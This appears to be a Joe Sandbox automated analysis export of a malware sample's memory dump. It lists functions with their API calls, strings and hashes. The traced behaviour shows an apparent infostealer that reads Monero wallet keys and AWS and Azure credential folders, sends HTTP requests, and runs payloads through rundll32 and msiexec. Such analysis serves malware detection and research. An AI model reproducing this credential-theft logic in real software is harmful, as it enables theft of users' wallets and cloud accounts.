Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: bba90e4ad82ae0592fef104996202fafbe32753583ff6862744fa89c132a34f6
Instruction ID: 1e49416078a8adeaa80d44c68c5e0a517421c1748be373bb3f7576c039476822
Opcode Fuzzy Hash: bba90e4ad82ae0592fef104996202fafbe32753583ff6862744fa89c132a34f6
Instruction Fuzzy Hash: 8B12F77182011CABDB15EBA1DC9AFEEB378BF54704F5041ADF10A62091EF702A4ADF65

Function 00CBCEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00CCA740: lstrcpy.KERNEL32(00CD0E17,00000000), ref: 00CCA788

Part of subcall function 00CCA9B0: lstrlen.KERNEL32(?,01899C80,?,\Monero\wallet.keys,00CD0E17), ref: 00CCA9C5
Part of subcall function 00CCA9B0: lstrcpy.KERNEL32(00000000), ref: 00CCAA04
Part of subcall function 00CCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00CCAA12

Part of subcall function 00CCA8A0: lstrcpy.KERNEL32(?,00CD0E17), ref: 00CCA905

Part of subcall function 00CC8B60: GetSystemTime.KERNEL32(00CD0E1A,018992C8,00CD05AE,?,?,00CB13F9,?,0000001A,00CD0E1A,00000000,?,01899C80,?,\Monero\wallet.keys,00CD0E17), ref: 00CC8B86

Part of subcall function 00CCA920: lstrcpy.KERNEL32(00000000,?), ref: 00CCA972
Part of subcall function 00CCA920: lstrcat.KERNEL32(00000000), ref: 00CCA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00CBCF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00CBD0C7
RtlAllocateHeap.NTDLL(00000000), ref: 00CBD0CE
lstrcat.KERNEL32(?,00000000), ref: 00CBD208
lstrcat.KERNEL32(?,00CD1478), ref: 00CBD217
lstrcat.KERNEL32(?,00000000), ref: 00CBD22A
lstrcat.KERNEL32(?,00CD147C), ref: 00CBD239
lstrcat.KERNEL32(?,00000000), ref: 00CBD24C
lstrcat.KERNEL32(?,00CD1480), ref: 00CBD25B
lstrcat.KERNEL32(?,00000000), ref: 00CBD26E
lstrcat.KERNEL32(?,00CD1484), ref: 00CBD27D
lstrcat.KERNEL32(?,00000000), ref: 00CBD290
lstrcat.KERNEL32(?,00CD1488), ref: 00CBD29F
lstrcat.KERNEL32(?,00000000), ref: 00CBD2B2
lstrcat.KERNEL32(?,00CD148C), ref: 00CBD2C1
lstrcat.KERNEL32(?,00000000), ref: 00CBD2D4
lstrcat.KERNEL32(?,00CD1490), ref: 00CBD2E3

Part of subcall function 00CCA820: lstrlen.KERNEL32(00CB4F05,?,?,00CB4F05,00CD0DDE), ref: 00CCA82B
Part of subcall function 00CCA820: lstrcpy.KERNEL32(00CD0DDE,00000000), ref: 00CCA885

lstrlen.KERNEL32(?), ref: 00CBD32A
lstrlen.KERNEL32(?), ref: 00CBD339

Part of subcall function 00CCAA70: StrCmpCA.SHLWAPI(01899AD0,00CBA7A7,?,00CBA7A7,01899AD0), ref: 00CCAA8F

DeleteFileA.KERNEL32(00000000), ref: 00CBD3B4

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 380d4f033c9968c4ab9fa7206563a44e9e1f98e72ff5511992e0ea181978caf5
Instruction ID: fd24745d161fe6e533759a7df0e47aabff62c0f98f82b387e6d46804a7a3830a
Opcode Fuzzy Hash: 380d4f033c9968c4ab9fa7206563a44e9e1f98e72ff5511992e0ea181978caf5
Instruction Fuzzy Hash: 9CE13EB1910108AFCB04EBA1DD9AFEE7378BF54304F544169F507B6091DE35AE0AEB62

Function 00CBC990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00CCA740: lstrcpy.KERNEL32(00CD0E17,00000000), ref: 00CCA788

Part of subcall function 00CCA920: lstrcpy.KERNEL32(00000000,?), ref: 00CCA972
Part of subcall function 00CCA920: lstrcat.KERNEL32(00000000), ref: 00CCA982

Part of subcall function 00CCA8A0: lstrcpy.KERNEL32(?,00CD0E17), ref: 00CCA905

Part of subcall function 00CCA9B0: lstrlen.KERNEL32(?,01899C80,?,\Monero\wallet.keys,00CD0E17), ref: 00CCA9C5
Part of subcall function 00CCA9B0: lstrcpy.KERNEL32(00000000), ref: 00CCAA04
Part of subcall function 00CCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00CCAA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,0189CDC8,00000000,?,00CD144C,00000000,?,?), ref: 00CBCA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00CBCA89
GetFileSize.KERNEL32(00000000,00000000), ref: 00CBCA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00CBCAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00CBCAD9
StrStrA.SHLWAPI(?,0189CE40,00CD0B52), ref: 00CBCAF7
StrStrA.SHLWAPI(00000000,0189CEB8), ref: 00CBCB1E
StrStrA.SHLWAPI(?,0189D568,00000000,?,00CD1458,00000000,?,00000000,00000000,?,01899A30,00000000,?,00CD1454,00000000,?), ref: 00CBCCA2
StrStrA.SHLWAPI(00000000,0189D5A8), ref: 00CBCCB9

Part of subcall function 00CBC820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00CBC871
Part of subcall function 00CBC820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00CBC87C

StrStrA.SHLWAPI(?,0189D5A8,00000000,?,00CD145C,00000000,?,00000000,01899AB0), ref: 00CBCD5A
StrStrA.SHLWAPI(00000000,01899CB0), ref: 00CBCD71

Part of subcall function 00CBC820: lstrcat.KERNEL32(?,00CD0B46), ref: 00CBC943
Part of subcall function 00CBC820: lstrcat.KERNEL32(?,00CD0B47), ref: 00CBC957
Part of subcall function 00CBC820: lstrcat.KERNEL32(?,00CD0B4E), ref: 00CBC978

lstrlen.KERNEL32(00000000), ref: 00CBCE44
CloseHandle.KERNEL32(00000000), ref: 00CBCE9C

Strings

, xrefs: 00CBC9C6

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: dfae444034f07f3cd48e2a326fd6dc4c403c012a1306d7189a74729617e0b9a4
Instruction ID: 1909fc0f834a35bf3588ff4bff5bfaff0ed2bc490a3f960da42c7590e7bff8b4
Opcode Fuzzy Hash: dfae444034f07f3cd48e2a326fd6dc4c403c012a1306d7189a74729617e0b9a4
Instruction Fuzzy Hash: DFE119B191010CAFDB14EBA1DC9AFEEB778AF54304F44416DF106B6191EF306A4ADB62

Function 00CC8320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00CCA740: lstrcpy.KERNEL32(00CD0E17,00000000), ref: 00CCA788

RegOpenKeyExA.ADVAPI32(00000000,0189B590,00000000,00020019,00000000,00CD05B6), ref: 00CC83A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00CC8426
wsprintfA.USER32 ref: 00CC8459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00CC847B
RegCloseKey.ADVAPI32(00000000), ref: 00CC848C
RegCloseKey.ADVAPI32(00000000), ref: 00CC8499

Part of subcall function 00CCA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00CCA7E6

Strings

- , xrefs: 00CC85A3
%s\%s, xrefs: 00CC844D
?, xrefs: 00CC837A

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: bb80917c2e4094722c9831b21faa12915e936f7c395457fd41a142ac7f9f9c16
Instruction ID: f08848759e2d949eaedf4d9b084f7ddad3310103ad6de41c080a89766920b634
Opcode Fuzzy Hash: bb80917c2e4094722c9831b21faa12915e936f7c395457fd41a142ac7f9f9c16
Instruction Fuzzy Hash: 9E81EBB191011CAFDB28DB55CC95FEAB7B8BF48704F008299E109A6190DF716F89CF95

Function 00CC4D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00CC8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00CC8E0B

lstrcat.KERNEL32(?,00000000), ref: 00CC4DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00CC4DCD

Part of subcall function 00CC4910: wsprintfA.USER32 ref: 00CC492C
Part of subcall function 00CC4910: FindFirstFileA.KERNEL32(?,?), ref: 00CC4943

lstrcat.KERNEL32(?,00000000), ref: 00CC4E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00CC4E59

Part of subcall function 00CC4910: StrCmpCA.SHLWAPI(?,00CD0FDC), ref: 00CC4971
Part of subcall function 00CC4910: StrCmpCA.SHLWAPI(?,00CD0FE0), ref: 00CC4987
Part of subcall function 00CC4910: FindNextFileA.KERNEL32(000000FF,?), ref: 00CC4B7D
Part of subcall function 00CC4910: FindClose.KERNEL32(000000FF), ref: 00CC4B92

lstrcat.KERNEL32(?,00000000), ref: 00CC4EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00CC4EE5

Part of subcall function 00CC4910: wsprintfA.USER32 ref: 00CC49B0
Part of subcall function 00CC4910: StrCmpCA.SHLWAPI(?,00CD08D2), ref: 00CC49C5
Part of subcall function 00CC4910: wsprintfA.USER32 ref: 00CC49E2
Part of subcall function 00CC4910: PathMatchSpecA.SHLWAPI(?,?), ref: 00CC4A1E
Part of subcall function 00CC4910: lstrcat.KERNEL32(?,0189E5E8), ref: 00CC4A4A
Part of subcall function 00CC4910: lstrcat.KERNEL32(?,00CD0FF8), ref: 00CC4A5C
Part of subcall function 00CC4910: lstrcat.KERNEL32(?,?), ref: 00CC4A70
Part of subcall function 00CC4910: lstrcat.KERNEL32(?,00CD0FFC), ref: 00CC4A82
Part of subcall function 00CC4910: lstrcat.KERNEL32(?,?), ref: 00CC4A96
Part of subcall function 00CC4910: CopyFileA.KERNEL32(?,?,00000001), ref: 00CC4AAC
Part of subcall function 00CC4910: DeleteFileA.KERNEL32(?), ref: 00CC4B31

Strings

*.*, xrefs: 00CC4DD8
Azure\.IdentityService, xrefs: 00CC4EEB
\.azure\, xrefs: 00CC4DC1
\.IdentityService\, xrefs: 00CC4ED9
msal.cache, xrefs: 00CC4EF0
Azure\.azure, xrefs: 00CC4DD3
\.aws\, xrefs: 00CC4E4D
*.*, xrefs: 00CC4E64
Azure\.aws, xrefs: 00CC4E5F

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: adb69cef23af67664247b4f99b739accf671c3d2487b9cb802503e771e2a1835
Instruction ID: d8f0b6b464dc8e2ea60ce359690e7f709f8c6bc7670b9a91423852f445e71fc1
Opcode Fuzzy Hash: adb69cef23af67664247b4f99b739accf671c3d2487b9cb802503e771e2a1835
Instruction Fuzzy Hash: 7041A5B99402086BD714F760EC57FED3338AB64704F4444A8B649A61C1EEF46BCDDB92

Function 00CC9010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00CC906C

Strings

image/jpeg, xrefs: 00CC9136

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 6cfeb65b971d11f8a76d7e0fddd8239f70c1ad753e2d96f3e469f5e79ceebc88
Instruction ID: ff851e901c1916ec269341fbde9ac8ed507dbf722e01a4c3c8e9e4c67dd15b05
Opcode Fuzzy Hash: 6cfeb65b971d11f8a76d7e0fddd8239f70c1ad753e2d96f3e469f5e79ceebc88
Instruction Fuzzy Hash: F371EEB1910208AFDB14EFE5DC89FEEB7B8FB88700F148518F515AB290DB74A905DB61

Function 00CC2E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 00CCA740: lstrcpy.KERNEL32(00CD0E17,00000000), ref: 00CCA788

ShellExecuteEx.SHELL32(0000003C), ref: 00CC31C5
ShellExecuteEx.SHELL32(0000003C), ref: 00CC335D
ShellExecuteEx.SHELL32(0000003C), ref: 00CC34EA

Strings

<, xrefs: 00CC3490
.msi, xrefs: 00CC3398
.dll, xrefs: 00CC31E5
"" , xrefs: 00CC309A
C:\Windows\system32\msiexec.exe, xrefs: 00CC34BF
C:\Windows\system32\rundll32.exe, xrefs: 00CC3332
/passive, xrefs: 00CC345B
/i ", xrefs: 00CC33E4

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: f34c82891b2d8865c3ace4ae194a5de3eb52b867578e220e5cfcf19f4f10d0d8
Instruction ID: e2d9642f3c621a3b96380c84853b2f02de283b807d46f09b47f7c1a5818936be
Opcode Fuzzy Hash: f34c82891b2d8865c3ace4ae194a5de3eb52b867578e220e5cfcf19f4f10d0d8
Instruction Fuzzy Hash: 0612F97181010C9BDB19EBA0DC9AFEEB738AF14304F50416DF50666191EF342B8ADFA6

Function 00CC52C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00CCA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00CCA7E6

Part of subcall function 00CB6280: InternetOpenA.WININET(00CD0DFE,00000001,00000000,00000000,00000000), ref: 00CB62E1
Part of subcall function 00CB6280: StrCmpCA.SHLWAPI(?,0189E6F8), ref: 00CB6303
Part of subcall function 00CB6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00CB6335
Part of subcall function 00CB6280: HttpOpenRequestA.WININET(00000000,GET,?,0189DEC8,00000000,00000000,00400100,00000000), ref: 00CB6385
Part of subcall function 00CB6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00CB63BF
Part of subcall function 00CB6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00CB63D1

Part of subcall function 00CCA8A0: lstrcpy.KERNEL32(?,00CD0E17), ref: 00CCA905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00CC5318
lstrlen.KERNEL32(00000000), ref: 00CC532F

Part of subcall function 00CC8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00CC8E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00CC5364
lstrlen.KERNEL32(00000000), ref: 00CC5383
lstrlen.KERNEL32(00000000), ref: 00CC53AE

Part of subcall function 00CCA740: lstrcpy.KERNEL32(00CD0E17,00000000), ref: 00CCA788

Strings

ERROR, xrefs: 00CC54A9
ERROR, xrefs: 00CC5432
ERROR, xrefs: 00CC546F
ERROR, xrefs: 00CC530A
ERROR, xrefs: 00CC53B9

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 4b57e3367109e2c8c0a9216fb0d1a0f4f9695438a338dc0dee293d141207b949
Instruction ID: cecceb7f92b5e54ee3e9bcf7baec06f25593d04afef7f74c149420713abacda6
Opcode Fuzzy Hash: 4b57e3367109e2c8c0a9216fb0d1a0f4f9695438a338dc0dee293d141207b949
Instruction Fuzzy Hash: 6551FC7091014C9FDB18FF61C99AFED7779AF50304F50402CE90A6A592DF346B4AEB62

Function 00CC12D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
